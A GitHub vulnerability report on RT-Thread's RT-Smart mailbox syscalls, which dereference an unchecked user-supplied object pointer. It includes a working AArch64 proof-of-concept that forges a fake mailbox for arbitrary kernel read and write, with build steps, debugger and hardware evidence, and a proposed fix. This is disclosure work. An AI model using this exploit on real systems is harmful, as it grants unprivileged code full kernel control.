Skip to content

[Bug] RT-Smart mailbox: unchecked fake object enables arbitrary kernel read/write #11960

Open

Description

@XueDugu

RT-Thread Version: current master cbc19778d0ae (checked 2026-10-31); introduced by ecf2d8215961 (2022-12-03); first affected release v5.0.0; still present in v5.3.0 and master

Affected area: Kernel / RT-Smart IPC

Hardware-BSP vendor: QEMU (full RT-Smart user-to-kernel reproduction); Raspberry Pi Pico 2 W / RP2350 (board-level fake-object primitive)

Architecture: AArch64 (QEMU RT-Smart); ARM Cortex-M33 / RP2350 (board validation)

Board and hardware details:

  • RT-Smart: qemu-virt64-aarch64, QEMU virt, GICv2, one CPU, 128 MiB, RT_USING_SMART=y, RT_USING_MAILBOX=y, RT_USING_DEBUG=n.
  • Board: Raspberry Pi Pico 2 W (RP2350 ARM Secure), USB CDC console. The board image runs ordinary single-address-space RT-Thread, so it validates the official kernel mailbox API primitive; the RT-Smart user/kernel boundary is proven by the QEMU full-system run.

Develop Toolchain: RT-Thread CI AArch64 musl GCC for the kernel and user ELF; QEMU full-system execution. The RP2350 image uses the Pico SDK 2.3.1 / ARM GNU toolchain.

Describe the bug

RT-Smart mailbox operations accept a user-controlled kernel object pointer without checking that the object belongs to the calling LWP, is a mailbox, or is in kernel memory. sys_mb_send() simply forwards it:

/* components/lwp/lwp_syscall.c in v5.3.0; now syscall/syscall_rt_ipc.c */
sysret_t sys_mb_send(rt_mailbox_t mb, rt_ubase_t value)
{
    return rt_mb_send(mb, value);
}

sys_mb_recv() validates the user output pointer, but not mb:

if (!lwp_user_accessable((void *)value, sizeof(rt_ubase_t *)))
    return -EFAULT;
...
ret = rt_mb_recv(mb, (rt_ubase_t *)kvalue, timeout);

The mailbox implementation then executes attacker-controlled fields:

/* src/ipc.c */
RT_ASSERT(rt_object_get_type(&mb->parent.parent) == RT_Object_Class_MailBox);
...
mb->msg_pool[mb->in_offset] = value;    /* write qword */
...
*value = mb->msg_pool[mb->out_offset];  /* read qword */

The assertion only reads the attacker-controlled type field and is not an ownership check. LWP already has an object ownership AVL (lwp_user_object_add/delete), but these operation syscalls bypass it.

An unprivileged RT-Smart process can map a page, place a fake struct rt_mailbox there, set type to RT_Object_Class_MailBox, set msg_pool to any 64-bit kernel address, and call the public mailbox syscalls. This gives a deterministic arbitrary 64-bit kernel read/write primitive.

Steps to reproduce (QEMU RT-Smart)

  1. Build bsp/qemu-virt64-aarch64 with RT_USING_SMART=y and RT_USING_MAILBOX=y.
  2. Compile the mode-1 ELF below with:
aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
  -T audit/RT_lwp/exp/lwp_poc.ld -O2 -ffreestanding \
  -DMODE=1 -o mailbox_arb_rw.elf poc_mailbox_arbwrite.c
  1. Add the ELF to the FAT root filesystem and boot the RT-Smart BSP.
  2. From the msh shell, execute /mailbox_arb_rw.elf.

Expected: the syscall rejects an unowned user-space object.

Actual: both syscalls return 0. The target qword changes from 0x74003e2f2068736d to 0x1122334455667788, and sys_mb_recv reads the same qword back through the fake object.

Relevant mode-1 PoC:

typedef unsigned long u64;
typedef long s64;
typedef unsigned int u32;
typedef unsigned char u8;

static inline s64 sys_call6(s64 nr, u64 a, u64 b, u64 c, u64 d, u64 e)
{
    register u64 x8 __asm__("x8") = (u64)nr;
    register u64 x0 __asm__("x0") = a;
    register u64 x1 __asm__("x1") = b;
    register u64 x2 __asm__("x2") = c;
    register u64 x3 __asm__("x3") = d;
    register u64 x4 __asm__("x4") = e;

    __asm__ volatile("svc #0"
                     : "+r"(x0), "+r"(x1), "+r"(x2), "+r"(x3), "+r"(x4),
                       "+r"(x8)
                     :
                     : "x5", "x6", "x7", "x9", "x10", "x11", "x12",
                       "x13", "x14", "x15", "x16", "x17", "x18", "x19",
                       "x20", "x21", "x22", "x23", "x24", "x25", "x26",
                       "x27", "x28", "memory", "cc");
    return (s64)x0;
}

#define SYS_exit      1
#define SYS_write     3
#define SYS_mb_send   32
#define SYS_mb_recv   34

static volatile u8 g_fake_mb[112] __attribute__((aligned(16)));
static volatile u64 g_recv_value;

static void write64(volatile u8 *p, u64 value)
{
    for (int i = 0; i < 8; ++i)
        p[i] = (u8)(value >> (i * 8));
}

static void write16(volatile u8 *p, unsigned int value)
{
    p[0] = (u8)value;
    p[1] = (u8)(value >> 8);
}

void _start(void)
{
    u64 fake = (u64)g_fake_mb;
    const u64 kernel_target = 0xffff00000021b468; /* rt_log_buf scratch qword */
    const u64 marker = 0x1122334455667788ULL;

    for (int i = 0; i < sizeof(g_fake_mb); ++i)
        g_fake_mb[i] = 0;

    g_fake_mb[24] = 5;                       /* RT_Object_Class_MailBox */
    write64(&g_fake_mb[56], fake + 56);      /* empty suspend list */
    write64(&g_fake_mb[64], fake + 56);
    write64(&g_fake_mb[88], fake + 88);
    write64(&g_fake_mb[96], fake + 88);
    write64(&g_fake_mb[72], kernel_target);  /* msg_pool */
    write16(&g_fake_mb[80], 1);              /* size */
    write16(&g_fake_mb[82], 0);              /* entry */
    write16(&g_fake_mb[84], 0);              /* in_offset */
    write16(&g_fake_mb[86], 0);              /* out_offset */
    write64(&g_fake_mb[104], 0);             /* unlocked spinlock */

    sys_call6(SYS_mb_send, fake, marker, 0, 0, 0);

    write16(&g_fake_mb[82], 1);              /* entry = 1 */
    write16(&g_fake_mb[84], 0);              /* in_offset = 0 */
    write16(&g_fake_mb[86], 0);              /* out_offset = 0 */
    sys_call6(SYS_mb_recv, fake, (u64)&g_recv_value, 0, 0, 0);

    /* g_recv_value is now the qword at kernel_target. */
    sys_call6(SYS_exit, 0, 0, 0, 0, 0);
    for (;;)
        ;
}

The full workspace PoC also prints the result and restores the scratch qword through the same write primitive.

Evidence

1. QEMU control: legitimate mailbox

[ctrl] legitimate mailbox path
[ctrl] mb_create = 0xffff00000029bcc8
[ctrl] mb_send = 0x0000000000000000
[ctrl] mb_recv = 0x0000000000000000
[ctrl] received = 0x1122334455667788

2. QEMU attack: unowned fake mailbox

[rw] fake mailbox = 0x0000000010000510
[rw] kernel target = 0xffff00000021b468
[rw] fake mb_send = 0x0000000000000000
[rw] fake mb_recv = 0x0000000000000000
[rw] kernel value read = 0x1122334455667788
[rw] target restored; kernel alive

3. GDB call chain and write watchpoint

rt_mb_send(mb=0x10000510, value=0x1122334455667788)
msg_pool=0xffff00000021b468 size=1 entry=0 in_offset=0

#0 _rt_mb_send_wait
#1 rt_mb_send_wait
#2 rt_mb_send
#3 sys_mb_send
#4 _SVC_Handler
#5 SVC_Handler

Hardware watchpoint:
Old value = 0x74003e2f2068736d
New value = 0x1122334455667788

The receive breakpoint hits the same fake object:

rt_mb_recv(mb=0x10000510, value=<kernel bounce buffer>, timeout=0)
msg_pool=0xffff00000021b468 out_offset=0 entry=1
source qword: 0x1122334455667788

Two independent GDB runs were byte-identical.

4. Real hardware validation of the official kernel API primitive

The following is from a Pico 2 W / RP2350 running the packaged RT-Thread image over USB CDC:

plink -serial COM10 -sercfg 115200,8,n,1,N
help
commands:
  mbox_poc  trigger raw mailbox write/read
  help      this help
mbox_poc> mbox_poc
mbox_poc: fake mailbox msg_pool=0x20022c88
mbox_poc: target before=0x00000000
mbox_poc: rt_mb_send=0 target_after=0x11223344
mbox_poc: rt_mb_recv=0 received=0x11223344
mbox_poc: CONFIRMED fake mailbox arbitrary read/write path
mbox_poc>

This board run does not replace the RT-Smart boundary proof. It confirms that the official rt_mb_send/rt_mb_recv implementation accepts caller-controlled object fields and performs the pool write/read on real hardware.

Impact

An unprivileged RT-Smart process can read and write arbitrary aligned 64-bit kernel addresses. It can therefore modify hooks, scheduler/object state, access-control data, or other kernel memory. No race, debugger, privileged ioctl, or application cooperation is needed.

Other additional context

  • CWE-822 (untrusted pointer dereference), CWE-787 (out-of-bounds write), and CWE-125 (out-of-bounds read).
  • CVSS 3.1: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.8.
  • The attack entry is a local unprivileged RT-Smart process, not a network service. S:C reflects crossing from user-controlled object bytes into arbitrary kernel memory operations.
  • Versions: introduced by ecf2d8215961 (2022-12-03). v5.0.0 is the first affected release; v5.0.0 through v5.3.0 and current master cbc19778d0ae are affected.
  • Not a duplicate: [Bug] Insufficient parameter validation in the syscall implementation in RT-Thread Smart #9877 is about an unvalidated thread-name pointer in sys_thread_create; it is not this mailbox sink. GitHub issue/PR search for fake mailbox, sys_mb_send mailbox, mailbox msg_pool RT-Smart, and mailbox arbitrary kernel found no matching report or fix branch.
  • Suggested structural fix: introduce a common lwp_user_object_get(current_lwp, handle, expected_type) that resolves the handle through the existing LWP AVL, validates its type and kernel address, and takes a reference for the duration of the syscall. Use it consistently for semaphore, mutex, event, mailbox, message queue, and timer operations, then release the reference. A one-off NULL check or ownership check in only sys_mb_send/recv would leave the same design flaw in sibling IPC paths.

Activity

  1. github-actions commented on Oct 31, 2026

    @github-actions

    如需认领并处理此 Issue,请评论 /claim。

    To claim and work on this issue, comment /claim.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions